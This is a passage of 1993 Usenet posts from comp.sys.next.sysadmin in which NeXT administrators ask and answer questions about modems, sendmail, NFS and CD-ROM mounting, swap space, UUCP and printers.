to make to use the modem with tip for remote logins. I've browsed the
/etc/remote file, and I'm guessing all I need to change is the baud rate on the
entry which states "Dial-out on cua..". I also have no idea what modem
profiles indicate, other then they represent the AT command set. Do I need to
concern myself with these? Where do I set the parity? Do I need to modify the
L.sys file for tip use? Any help would be greatly appreciated!!
Thanks!!!
-- Bernie (btf64@cas.org)
Newsgroups: comp.sys.next.sysadmin
From: verket@venice.sedd.trw.com (Paul Verket)
Subject: Re: Mounting Sun CD-ROMs?
Message-ID: <1993Mar10.212356.19052@venice.sedd.trw.com>
Sender: news@venice.sedd.trw.com (USENET News)
Organization: TRW Systems Engineering & Development Division, Carson, CA
References: <1993Mar8.191621.3033@ulysses.att.com>
Date: Wed, 10 Mar 1993 21:23:56 GMT
Christos T. Pyrros (pyrros@ulysses.att.com) wrote:
: How does one mount a Sun CD-ROM? All Mac, DOS, and Unix disks work fine,
: but when I put in a sun disk (in this case, the SunPro Development Tools
: disk) the Workspace just says Disk is Write Protected, and ejects it.
For 98% of Sun CDs, the answer is "you can't". When Sun initially
produced their demo CDrom, it was in a standard format that any machine
(Mac, NeXT, etc) could mount. Since then, they (like NeXT) don't encode
the CDs in a standard format but instead in the same unix format as their
hard disks. Since these formats are slightly different between different
unixs you're out of luck.
In Sun's case, it makes the average joe's life easier because he doesn't
have to "specify" the disk format as it defaults to Sun's own.
Paul Verket (NeXTmail ok)
Newsgroups: comp.sys.next.sysadmin
From: roberto@arrocha.charlotte.nc.us (Roberto Arrocha)
Subject: One machine, two domains: how?
Message-ID: <1993Mar9.144621.589@arrocha.charlotte.nc.us>
Keywords: NeXT
Sender: roberto@arrocha.charlotte.nc.us
Organization: Roberto E. Arrocha
Date: Tue, 9 Mar 1993 14:46:21 GMT
As the subject line describes, I have the task of adding a second domain
(newDomain.COM) to our current US domain. We would like to have all mail
forwarded to this one NeXT machine (arrocha) by our mail forwarder UUNET,
via uucp. This machine should then sort and distribute mail to user
accounts w/in the same machine.
user1@newDomain.COM ------------ --> user1
user1@arrocha.charlotte.nc.us -- --> user1
--> arrocha --
user2@newDomain.COM ------------ --> user2
user2@arrocha.charlotte.nc.us -- --> user2
The question is, how do I modify sendmail, uucp and our NetInfo data to
accomodate the new domain?
In sendmail.mailhost.cf, for example, we have:
# local domain name
Dmcharlotte.nc.us
What about NetInfo?
All help and suggestions welcomed. Thanks.
--
Roberto
NeXTmail: roberto@arrocha.charlotte.nc.us
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: claus@tpki.toppoint.de (Claus Greve)
Subject: co-Xist + NeXTDimension + Khoros = fast enough???
Message-ID: <1993Mar9.211411.3646@greve.toppoint.de>
Sender: claus@greve.toppoint.de
Organization: sBANG
Date: Tue, 9 Mar 93 21:14:11 GMT
Hi,
does anyone have experience with this configuration ?
Is it practicable for image processing?
The people from Pencom told me that co-Xist on the NextDimension is
(much ?) slower than on a Colorstation.
Your answer would be greatly appreciated.
--
Claus Greve email: claus@tpki.toppoint.de
Waitzstr.57 phone: ++49-431-563741
2300 Kiel
Germany
From: jenkinsonjp@rcwusr.bp.com (John P. Jenkinson)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP, can't boot with / full
Message-ID: <1993Mar10.184617.192@rcwusr>
Date: 10 Mar 93 18:46:16 -0600
Organization: BP Exploration (Alaska)
help, i'm shookered
NeXT won't boot, in rom monitor i see messages like
/: file system full
IO error on pageout: error = 28.
vnode_pageout: failed!
i understand the why, i can't get a boot in single user nor in -b to not
to rc.boot.
how do you recover rom such a situation???
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: iwelch@agsm.ucla.edu (Ivo Welch)
Subject: SoftPC Pro .pkg needed
Message-ID: <1993Mar10.090608.19954@mic.ucla.edu>
Followup-To: comp.sys.next.sysadmin
Organization: UCLA, Anderson Graduate School Of Management
Distribution: usa
Date: 10 Mar 93 09:06:08 PST
I bought SoftPC Pro, and received my package. It included a CD-ROM, for
which I unfortunately no longer own a drive. Could some kind sould please
ftp a locked copy of the .pkg file into my NeXT? (I received my own,
private codes to unlock, of course.)
Thanks.
/ivo welch
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: co-Xist + NeXTDimension + Khoros = fast enough???
Date: 11 Mar 1993 01:01:07 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <1nm30j$avq@agate.berkeley.edu>
References: <1993Mar9.211411.3646@greve.toppoint.de>
In article <1993Mar9.211411.3646@greve.toppoint.de> claus@tpki.toppoint.de (Claus Greve) writes:
>Hi,
>does anyone have experience with this configuration ?
>Is it practicable for image processing?
>The people from Pencom told me that co-Xist on the NextDimension is
>(much ?) slower than on a Colorstation.
>
>Your answer would be greatly appreciated.
We found it practically unusable. Doing ls -l, for example, in xterm
takes forever to scroll by.
See it for yourself. There is a demo for co-Xist 3.0 on the archives.
But then, this is the only X server that runs on ND at all, and nobody
else has it, so it's not like you have an alternative X for ND.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: co-Xist + NeXTDimension + Khoros = fast enough???
Message-ID: <C3pF12.35D@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <1993Mar9.211411.3646@greve.toppoint.de>
Date: Thu, 11 Mar 1993 03:00:36 GMT
In article <1993Mar9.211411.3646@greve.toppoint.de> claus@tpki.toppoint.de writes:
>Hi,
>does anyone have experience with this configuration ?
>Is it practicable for image processing?
>The people from Pencom told me that co-Xist on the NextDimension is
>(much ?) slower than on a Colorstation.
Much slower is being too kind. I installed co-Xist 3.0 on a
NextDimension running NextStep 3.0. The mother board has 40Mb of RAM,
and the ND board has 16 megs. The thing is a dawg. D-O-G.
My old 25MhZ cube runs co-Xist *much* faster than on the ND.
'Course, that's just me. Maybe others have had better luck.
-rob
---
Rob Francis Unix Systems Specialist, Indiana University
francisr@indiana.edu (812)855-0327
From: nevai@mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.bugs
Subject: BUG in either "man" or "mf.1" because "man mf" doesn't work
Date: 11 Mar 1993 13:10:52 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1nndos$e7i@zaphod.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
Attention mf users on NeXT:
Do a "man mf" job. Your mf.1 will not be processed because "man" can't finish
the job. This is what happens:
> ops> man mf
> Reformatting page. Wait...
> /usr/man/man1/mf.1: line 124: no specification
> tbl quits
> done
What the heck is going on? The same mf.1 works fine on our SUN so I guess
the NeXT has the problem. Any ideas? Take care...Paul
Paul Nevai nevai@mps.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin
From: bil@cmn14.Stanford.EDU (Bill Schottstaedt)
Subject: sendmail loopback problem in 3.0
Message-ID: <1993Mar11.145759.17264@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Thu, 11 Mar 93 14:57:59 GMT
Since upgrading to 3.0 two weeks ago, our mailserver can't resolve
addresses that include a local machine
name. It was working fine in 2.1. But now, whenever I try to send mail
from the mailhost to a client
machine, I get the error:
>>> HELO guido.zkm.de
553 guido.zkm.de config error: mail loops back to myself
I am using the standard sendmail.mailhost.cf file, and the address
resolution works when sent from machines
other than the mailhost. But the mailhost needs to forward mail to a
different machine for some of our
users. Here is a full trace of the message being sent from the mailhost
(aka guido) to a client machine
ockeghem:
mail -v hkt@ockeghem
Subject: test
blah
.
Cc:
hkt@ockeghem... Connecting to guido.zkm.de (ether)...
220 guido.zkm.de Sendmail NX5.67c/NeXT-2.0 ready at Thu, 11 Mar 93
07:32:02 +0100
>>> HELO guido.zkm.de
553 guido.zkm.de config error: mail loops back to myself
>>> QUIT
221 guido.zkm.de closing connection
hkt@ockeghem... 554 Service unavailable
Saving message in /user/hkt/dead.letter
/user/hkt/dead.letter... Sent
Note that no other networking program seems to have a problem. I can
rlogin, telnet and nslookup to all
these local clients. Any help would be greatly appreciated.
Rick Taube
Zentrum fuer Kunst und Medientechnologie
Ritterstr. 41 7500 Karlsruhe 41 Germany
hkt@zkm.de
(Respond to Rick, not me -- I'm just a human gateway -- bil@ccrma).
Newsgroups: comp.sys.next.sysadmin
From: Doug_Smith@Novell.COM (J. Douglas Smith)
Subject: Recycler on mounted drives
Message-ID: <C3qDLM.3IK@Novell.COM>
Sender: usenet@Novell.COM (Usenet News)
Organization: Novell, Inc.
Date: Thu, 11 Mar 1993 15:27:21 GMT
Is there a way to get the Recycler to work on mounted file systems?
--
Doug Smith Internet: jdsmith@novell.com
Novell, INC. Phone: (801) 429-7324
UNIX Desktop Group
From: art@alice.ucsb.edu (Art Bailey)
Newsgroups: comp.sys.next.sysadmin
Subject: Partition won't Mount over Net
Message-ID: <7912@ucsbcsl.ucsb.edu>
Date: 11 Mar 93 19:01:02 GMT
Sender: root@ucsbcsl.ucsb.edu
We have a group of Nexts. On one of our stations, we partitioned the
105MB disk into two parts: part A is labeled as swapdisk and part B is for
users. Needlesstosay, it is a netboot client. We have all our machines
set up so that they nfs mount the Users directories from all the other
machines. Our problem is that none of our machines can mount the Users
from the machine with the partitioned disk. The directory to be mounted
is correctly exported to the other machines.
Does anybody have any ideas? Is there some problem with NFS mounting
directories from a B partition of a disk?
Thanks in advance,
Art Bailey
Newsgroups: comp.sys.next.sysadmin
From: steve@wc24.writer.yorku.ca (Steve Azmier)
Subject: attaching vt220 terminal to NeXT
Message-ID: <1993Mar11.202240.22620@newshub.ccs.yorku.ca>
Keywords: emacs wonky, doesn't work properly, hope this is an easy fix
Sender: news@newshub.ccs.yorku.ca (USENET News System)
Organization: York University
Date: Thu, 11 Mar 1993 20:22:40 GMT
I've managed to get a Vision 2200+ attached to my serial port A
and have it working nicely at 9600 baud (via /etc/ttys). One problem,
when I try to use emacs from the vt200 I get all sorts of backwards
question marks and can't really use it as a full screen editor. We hope
to attach one terminal to the back of each NeXT so that as many folks as
possible can work at our Centre
(yes we're short on funds :-).
Anyway the only way I can get the terminal to work is by setting it to
7 data bits
even parity
It is also set for vt200-7
The line in the /etc/ttys of note is:
ttya "/usr/etc/getty std.9600" vt200-80 on secure
Any ideas why emacs won't cooperate and what would the fix be?
--
Steve Azmier
York University
NeXT/Unix Consultant 4700 Keele Street
Coordinator - YuNUG c/o Computer-Assisted Writing Centre
Email: steve@reader.yorku.ca 530 Scott Library
North York, Ontario, Canada
From: wrb@biostr.washington.edu (William Barker)
Newsgroups: comp.sys.next.sysadmin
Subject: Email aliases and NextMail Groups
Message-ID: <1no6q1INNe94@shelley.u.washington.edu>
Date: 11 Mar 93 20:18:09 GMT
Article-I.D.: shelley.1no6q1INNe94
Organization: University of Washington
Greetings,
I'm trying to use the NextMail Group addresses feature, with the aliases
derived from my root NetInfo domain. Everything works fine for a day, and
then it stops working. (Translation: the alias doesn't get translated
when the mail gets sent. For example, the /usr/spool/mqueue/syslog record
has the alias, not the real mail address.) If I reboot the local system,
it starts working again. If I just restart sendmail and NextMail, it's
still broke. I've RTFM (Network and Sys Admin guide), and I've seen
nothing that I should be doing that I'm not.
Has anyone used this feature and had the same problems? I suspect it's a
NetInfo problem, but can't confirm my suspicion. Any help greatly
appreciated.
bb
--
Bill Barker
Biological Structure, SM-20
University of Washington
Seattle WA 98195
(206) 543-7315
"In Wine there is Wisdom, In Beer there is Strength; In Water is
Bacteria." --Old German Saying.
Newsgroups: comp.sys.next.sysadmin
From: kelley@kiwi.ATMOS.ColoState.Edu (Kelley Wittmeyer)
Subject: Mounting CD-ROM over Network?
Sender: news@yuma.ACNS.ColoState.EDU (News Account)
Message-ID: <Mar11.224225.93057@yuma.ACNS.ColoState.EDU>
Date: Thu, 11 Mar 1993 22:42:25 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Keywords: cd cdrom cd-rom cdplayer player
i have a NeXT cd player on my server. i would like to throw
a disk in there and nfs mount it to another NeXT.
the mount works, the remote machine can view the files on the
disk in the various subdirectories but hangs when trying any
other operation (ie cat, cp, vi, etc) on files on the disk.
the server can perform these operations no problem.
i hope i don't get flamed for this (i've searched the faqs,
NeXTAnswers etc). Anyone have a clue to my problem?
Thanks.
kelley wittmeyer
dept of atmospheric science
colorado state university
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: Swapping to a raw disk partition
Message-ID: <1993Mar11.231749.4981@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Mar4.105554.4399@leland.Stanford.EDU>
Date: Thu, 11 Mar 1993 23:17:49 GMT
David Lees (lees@pomegranate.stanford.edu) wrote:
: A while back there was some discussion about configuring a NeXT to swap to
: a device (or partition) rather than a swap file. As I recall, this will
: provide a significant performance improvement. I can't find any
: documentation about how to configure swapping this way in the man pages or
: digital librarian. Can anyone tell me how to make this happen ?
:
: Thanks,
: Dave
I talked with Next about this. Apparently the overhead to work with a
file system as opposed to a raw partition is very small compared to the
time it takes to seek and write, so it doesn't matter.
HOWEVER from personal experience, having the swapfile in a single
contigious chunk makes a significant difference. It is worth your time
if you find that your swap file hovers around 30 megs all the time, to
rebuild your hard disk so that it has 30 meges in one spot for this.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: penney@cl-next4.cl.msu.edu (Chris Penney)
Newsgroups: comp.sys.next.sysadmin
Subject: etherfind... netwatching
Date: 12 Mar 1993 00:09:29 GMT
Organization: Michigan State University
Message-ID: <1nokbp$ei8@msuinfo.cl.msu.edu>
I am in need of a program like "etherfind" on Sun's. Can anyone point
me in the right direction? I heard a while back that there was someone
looking for alpha testers (a long time ago). I'd really appreciate any
info.
Mail preferred.
Chris Penney
penney@cl-next4.cl.msu.edu
Newsgroups: comp.sys.next.sysadmin
From: kunal@passion.pilot.dmg.ml.com (Kunal Singh)
Subject: Need help with FaxModem
Message-ID: <1993Mar11.150236.3349@pilot.dmg.ml.com>
Keywords: Fax
Sender: kunal@passion (Kunal Singh)
Organization: Merrill Lynch Debt Markets Group
Date: Thu, 11 Mar 1993 15:02:36 GMT
I have a Zoom 14.4K fax/modem. I'm having problems configuring the Fax.
It seems that if I make the fax available, every time the machine boots up,
the modem is put into Fax mode. This seems to be done by a program which
runs at boot time. After this I can't use the Fax modem as a data modem.
Does anyone out there know the details as to which program is executed from where and exactly how to change the initialization string sent by that program to the modem ?
The reason why I need to change the configuration is that although the Fax initiates calls to other fax machines, it hangs up after a brief blink of the CD. Also, I want to use my modem as a data modem.
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP with Zyxel problem
Date: 11 Mar 1993 23:08:55 -0000
Organization: me organized? That's a joke!
Distribution: world
Message-ID: <1nogq7$471@steffi.demon.co.uk>
I am using Dialupip SLIP with a Zyxel 1496E and I have this strange
problem.
If I repeatadly dial my host when it engaged SLIP correctly gets back
BUSY from my modem and does its thing. However, the first time I
connect after all the engaged trys ie. this time it rings at the other
end. For some reason my modem returns BUSY to SLIP. I cannot think
why. This is my setup string in dial-zyxel.tcl
xmit {AT S2=128 S15=130 &K4 &N0 L2 M1 V1 Q0 X5 &C1 &D3 &H3 &J0 &L0
&M0 &R1 &S0 N1\r}
Am I missing something?
From: scott@nic.gac.edu (Scott Hess)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Swapping to a raw disk partition
Date: 12 Mar 93 00:11:32
Organization: Is a sign of weakness
Message-ID: <SCOTT.93Mar12001132@nic.gac.edu>
References: <1993Mar4.105554.4399@leland.Stanford.EDU>
<1993Mar11.231749.4981@kakwa.ucs.ualberta.ca>
In-reply-to: sherwood@space.ualberta.ca's message of Thu, 11 Mar 1993 23:17:49 GMT
In article <1993Mar11.231749.4981@kakwa.ucs.ualberta.ca>,
sherwood@space.ualberta.ca (System Administrator) writes:
>David Lees (lees@pomegranate.stanford.edu) wrote:
>: A while back there was some discussion about configuring a NeXT to swap to
>: a device (or partition) rather than a swap file. As I recall, this will
>: provide a significant performance improvement. I can't find any
>: documentation about how to configure swapping this way in the man pages or
>: digital librarian. Can anyone tell me how to make this happen ?
>
>I talked with Next about this. Apparently the overhead to work with
>a file system as opposed to a raw partition is very small compared
>to the time it takes to seek and write, so it doesn't matter.
>
>HOWEVER from personal experience, having the swapfile in a single
>contigious chunk makes a significant difference. It is worth your
>time if you find that your swap file hovers around 30 megs all the
>time, to rebuild your hard disk so that it has 30 meges in one spot
>for this.
I'm planning to purchase a 1G external drive, and I've been wondering
what to do with my internal 400M. I'll probably install the OS on
it, but that should leave me 100M (perhaps more) of space for swap.
One problem with storing the swapfile on a filesystem is that you
get hit by the 10% FFS optimization space. With swapping directly
on a partition, you don't have to worry about that, of course.
So, a poor alternative that I am considering is to partition the
drive into a 300M and a 100M partition, build the 100M filesystem
with few inodes, tune the filesystem using tunefs to optimize for
space and large files, and use mkfile to write a single gigantic
100M (minus overhead, of course) swapfile. This should be a reasonably
close simulation of a swap partition, assuming that you can get
things tuned just right ... at worst, I suppose one could write a
short program to create a "perfect" image of such a swap partition
(with well-placed interior nodes and laid out front to back) and
use dd to write that to the real partition :-).
Later,
--
scott hess <shess@ssesco.com> <To the BatCube, Robin>
12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
Newsgroups: comp.sys.next.sysadmin
From: Zacharias J. Beckman <zac@dolphin.com>
Subject: Problems Using WorldBlazer & UUCP
Message-ID: <1993Mar12.085011.6715@dolphin.com>
Sender: zac@dolphin.com
Organization: Dolphin Software
Distribution: usa
Date: Fri, 12 Mar 1993 08:50:11 GMT
We have a remote site (houston) which is having trouble using a WorldBlazer
with flow control. Our server (dolphin) uses Taylor 1.04, recently having
upgraded from 1.03. None of the problems experienced by houston have EVER
been seen on dolphin, and they are not apparently related to the use of
Taylor (which, in general, fixes all the UUCP problems you inherit with a
generic NeXT and its ten-year-old UUCP).
The problem seems to be that using flow control with the WorldBlazer modem
results in problems connecting to remote sites. This happens both via UUCP
(using uucico to be exact) and by manually attempting to connect to a remote
site with tip. If the /dev/cua is used, all goes well. If /dev/cufa is
used, the resultant connection is completely faulty. While the modem seems
to believe it has a connection, it in fact does not. Further, the characters
received on the line are garbage, much like you would expect from a baud rate
mismatch.
The system houston is using a slightly older revision of the WorldBlazer ROM
(v. 5.0 if I recall correctly). A standard issue, black NeXT (flow control)
modem cable is being used. NeXTSTEP 3.0 has been installed.
Any help would be greatly appreciated! Also, if you are interested in
receiving Taylor UUCP 1.04, send email; I'll either NeXTMAIL it to you, or
you can FTP it from any number of sites (such as Purdue or UUNET).
--
Zacharias J. Beckman - Dolphin Software Inc. - zac@dolphin.com - use NeXTMAIL!
To be "matter of fact" about the world is to blunder into fantasy.... and dull
fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen
Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
From: vassilis@next2032.fb10.tu-berlin.de (Vassilios Karavezyris)
Newsgroups: comp.sys.next.sysadmin
Subject: greek keyboard fonts
Date: 12 Mar 1993 14:34:39 GMT
Organization: TUBerlin/ZRZ
Message-ID: <1nq71vINN5gg@mailgzrz.TU-Berlin.DE>
Is there anyone who has keyboard fonts for greek language or knows where I
could get it.
Vassilios Karavezyris
Technische Universitaet Berlin
vassilis@next2032.le.tu-berlin.de
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From: Gregory W. Gee <gee@gaul.csd.uwo.ca>
Subject: Hurry, please help.
Cc: gee@gaul.csd.uwo.ca
Organization: Relayed-by-Sendmail
Date: Fri, 12 Mar 1993 16:01:52 GMT
Message-ID: <9303121601.AA02459@gaul.csd.uwo.ca>
To: comp.sys.next.sysadmin@newshost.uwo.ca
Sender: daemon@julian.uwo.ca (Julian System Daemon Account)
I have currently ran into a problem with my file space. While I was
using an app that extracts things from tar files (sledgehammer), the app
froze and the file disappeared from my directory. This really isn't the
main problem though. The problem is that when the file disappeared, the
disk space that it occupied did not return. The only reason I noticed
this is that the file was 45Megs.
Any help with regaining the disk space of the file would be greatly
appreciated. By the way, rebooting the system did not help.
Please reply by email as soon as possible. Thanks.
Greg Gee.
****************************************************************************
Greg Gee gee@gaul.csd.uwo.ca NeXT Mail accepted
Honours Computer Science, University of Western Ontario
>>> Developing in the NeXT generation <<<
****************************************************************************
From: mcullen@rothko.symantec.com (Michael Cullen)
Newsgroups: comp.sys.next.sysadmin
Subject: SMTP manager for the NeXT
Date: 12 Mar 1993 18:06:09 GMT
Organization: Symantec Corporation
Message-ID: <1nqjehINNsh@grumpy.symantec.com>
I need to know if anyone makes a good SMTP manager for the next. I have
an '030 cube as well as a spark station. My goal is to have both machines
manage my WAN (which consists of pc's, mac's, ACC routers, a cisco, and a
couple of HP mini's).
From: mcullen@rothko.symantec.com (Michael Cullen)
Newsgroups: comp.sys.next.sysadmin
Subject: SMTP manager for the NeXT
Date: 12 Mar 1993 18:11:07 GMT
Organization: Symantec Corporation
Message-ID: <1nqjnrINNtg@grumpy.symantec.com>
I need to know if there are any good SMTP manager for the NeXT. I have an
'030 cube and a spark station. I would like to use both machines to
manage my WAN (which consisits of pc's, mac's, ACC routers, a cisco, and a
couple of HP mini's).
Please respond to
mcullen@rothko.symantec.com
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From: mcdougal@jensen.cc.brandeis.edu (brendan mcdougall)
Subject: External Hard Drive, Ownership and File Creation Mask
Message-ID: <1993Mar12.185728.19160@news.cs.brandeis.edu>
Sender: news@news.cs.brandeis.edu (USENET News System)
Organization: Brandeis University
Date: Fri, 12 Mar 1993 18:57:28 GMT
Hi,
The PI in this group purchased and installed an ADS external 1G hard
drive. At this point a private user owns the hard drive. Doing a
recursive chown, i.e. chown -R root /'disk', does not change the ownership
of the disk after logging out from root. Too, file creation mask changes
from root do not last past terminating that root session.
To the Gurus, what the *%$# is the problem and how is this really managed.
Please post to the group and if you send me responses directly, which I
would appreciate, I will summarize the responses and post to the group.
Thank you very much for your help.
Best regards,
Brendan McDougall
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: mcdougal@jensen.cc.brandeis.edu (brendan mcdougall)
Subject: E-mail aliases and Listservers
Message-ID: <1993Mar12.190247.19280@news.cs.brandeis.edu>
Sender: news@news.cs.brandeis.edu (USENET News System)
Organization: Brandeis University
Date: Fri, 12 Mar 1993 19:02:47 GMT
Hi,
I have two questions and will summarize all responses sent to me and post
to the group...phew!
First, in what way does one set up an automated listserver on a NeXT, i.e.
have a group of users, on or off site, have a mail to the group be
automatically forwarded to all users in the group, wherever they may be.
Is there an ftp site with list-server software available? For example, a
list server with 'digest' capabilities would be great.
Second, where does the NeXT hide all the private group and user addresses
that are created in NeXTMail. We recently reformatted the hard drive and
installed 3.0 on our internal hard disk. This was info I could not find
or save. If I could locate the file, I could have saved this to floppy
before re-formatting.
Thanks for your help in this matter.
Best regards,
Brendan McDougall
From: bradshaw@thelma.hq.af.mil (Michelle A. Bradshaw)
Newsgroups: comp.sys.next.sysadmin
Subject: MIME Interface to NeXTMail
Message-ID: <18961@hq.hq.af.mil>
Date: 12 Mar 93 19:19:45 GMT
Sender: news@Pt.hq.af.mil
Is a third party working on such an interface?
--
-- Michelle A. Bradshaw HQ USAF LAN Configuration Management
-- bradshaw@thelma.hq.af.mil (NeXT OK) (703)695-5060 DSN 225-5060
-- Anybody who has an identity problem had better wise up and get
-- with the program! Jack Handey
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From: jporter@picard.ksc.nasa.gov (John Porter)
Subject: Printer Problem - Urgent!
Message-ID: <1993Mar12.201619.5202@dale.ksc.nasa.gov>
Sender: news@dale.ksc.nasa.gov
Organization: NASA
Date: Fri, 12 Mar 1993 20:16:19 GMT
Hi Netters:
I have an urgent problem with my NeXT laser printer. It seems that one of my
users had a paper jam. He removed the jam, but we still get the paper jam
error. I have "looked under the hood" without success. I have cycled power
without success. Any ideas? Is it possible to spoof the sensor, and if so,
how? I'm in a world of hurt without the printer. Please e-mail responses so
that I can monitor my mail over the weekend.
Thanks in advance.
JP
From: wade@hobbes.ucsd.edu (Wade Blomgren)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: transcript and text files
Followup-To: comp.sys.next.sysadmin
Date: 12 Mar 1993 20:38:33 GMT
Organization: University of California, San Diego
Message-ID: <1nqsc9INNol0@network.ucsd.edu>
Since upgrading to 3.0, lpr will no longer "automagically" print
text files to a Postscript printer. More specifically, the transcript
print filters no longer detect that a file is "not already postscript"
and enscript it. There are references to the "pstext" filter in the
psint.sh script (the script that the transcript filters are linked to),
that is to say the environment variable specifying the path for pstext is
set and exported, but the pstext program itself does not exist. I
am certain that lpr of a plain text file worked prior to the upgrade.
Has anyone else run into this? Does /usr/lib/transcript/pstext exist
in 2.x? I have access to transcript 2.0 sources (the NeXT appears to
use 3.0) and I thought I might try compiling and installing pstext from
transcript 2.0 but I doubt that will fix things since running strings
on the NeXT's pscomm shows no reference to the pstext variable.
Any ideas would be appreciated.
Wade Blomgren
wade@hobbes.ucsd.edu
From: jenkinsonjp@rcwusr.bp.com (John P. Jenkinson)
Newsgroups: comp.sys.next.sysadmin
Subject: Mail.app problems
Message-ID: <1993Mar12.154500.197@rcwusr>
Date: 12 Mar 93 15:45:00 -0600
Organization: BP Exploration (Alaska)
a user on a NeXT can't get into Mail with the Mail.app, most o the other
accounts i tried can. that is problem number 1, why? i've seen the postings
about permissions on /usr/spool/mail in NeXTanswers and this isn't the problem.
it used to work, now when she launches Mail.app, nothing happens. while she
was able to get in she changed her expert preferences to use another directory
for her mailbox. since she can't get back in to change it back, that is
problem number 2 - where is this information kept??
From: peter@tahiti.umhc.umn.edu (Peter Eisch)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: MIME Interface to NeXTMail
Message-ID: <C3stxp.7r@news.cis.umn.edu>
Date: 12 Mar 93 23:15:00 GMT
Article-I.D.: news.C3stxp.7r
References: <18961@hq.hq.af.mil>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota
Or even a NeXTSTEP MIME app?
Or an app like Mail.app that doesn't expect to mount the spool mail dir?
peter
peter@tahiti.umhc.umn.edu
dig.
Michelle A. Bradshaw writes
> Is a third party working on such an interface?
>
Newsgroups: comp.sys.next.sysadmin
From: ian@pyrian.com (Ian H. Stewart)
Subject: mtab trouble
Message-ID: <1993Mar12.232552.531@pyrian.com>
Sender: ian@pyrian.com
Organization: PYRIAN Software Group
Date: Fri, 12 Mar 1993 23:25:52 GMT
I have noticed lately that my mtab permissions have been changing
by themselves lately. And as a result, I get errors when cnews trys to
run.
The current setting is
root
wheel
u g o
__________________________
c c x R
c x x W
x x x E
if I look at the CD-ROM version it shows
u g o
__________________________
c c c R
c c x W
x x x E
If I change the permission to that before I run any news
stuff it works fine.
1) Why is it changing all the time?
(I am aware that it adds/dels my CD drive every time I mount / unmount)
2) Where can I set a way to ensure I have the right permissions everytime
the file is changed / updated?
Any help...thanks.
--
Ian H. Stewart | voice/fax 415-664-1170
Pyrian Software Group | CIS 71101,1260
Always looking for new SW to market | Net Ian_Stewart@pyrian.com
NeXT,Mac,PC & Sun | Isn't LiFE more like RiSK?
Newsgroups: comp.sys.next.sysadmin
From: bob@ruf.rice.edu (Robert Morrison Dana)
Subject: Re: MIME Interface to NeXTMail
Message-ID: <C3t0wB.5nv@rice.edu>
Sender: news@rice.edu (News)
Organization: Rice University
References: <C3stxp.7r@news.cis.umn.edu>
Date: Sat, 13 Mar 1993 01:45:47 GMT
Peter Eisch (peter@tahiti.umhc.umn.edu) wrote:
:
: Or even a NeXTSTEP MIME app?
: Or an app like Mail.app that doesn't expect to mount the spool mail dir?
:
: peter
: peter@tahiti.umhc.umn.edu
It exists. MailManager.app is included with the IMAP package and is
available for ftp from cac.washington.edu. It doesn't include any
companion programs to display the attached files, but it will start up
the appropriate app for the file type if you have it. IMAP is a remote
mailbox access protocol that lets you read your mail from someplace other
than your mail home. So, even if you don't receive mail on your NeXT and
the machine where you do has IMAP installed, you can still use this
NeXTStep interface app to read your mail. But I'm not sure if it does
NeXTMail... I guess you can't have everything.
ps- ftp cac.washington.edu:
/imap/imap3.05.tar.Z
--
Robert Dana >bob@rice.edu<
ONCS Student UNIX Systems Programmer
Rice University, Houston, TX
From: M_Carling@BlueRose.com (M Carling)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 3.0 Upgrades are beginning to irritate me
Message-ID: <1993Mar10.160734.4800@bluerose.com>
Date: 10 Mar 93 16:07:34 GMT
References: <C3n9EJ.57H.2@cs.cmu.edu>
Sender: m@bluerose.com
Organization: Blue Rose Systems, Inc.
In article <C3n9EJ.57H.2@cs.cmu.edu> rane+@cs.cmu.edu (Aaron Hughes)
writes:
>
> Ya know - I've upgraded about 30 machines in the last
> 2 months or so and I just did another one today. The
> thing that's pissing me off is that every coupla
> machines will fail the upgrade in some bizarre way,
> even though the upgrade app says that disk was
> successfully upgraded.
Don't use Upgrade.app. Instead use BuildDisk.app.
M Carling
President, Bay Area NeXT Group
Newsgroups: comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin
From: iwelch@agsm.ucla.edu (Ivo Welch)
Subject: (NEC) CD-ROM drives Compatibility
Message-ID: <1993Mar13.110848.12099@mic.ucla.edu>
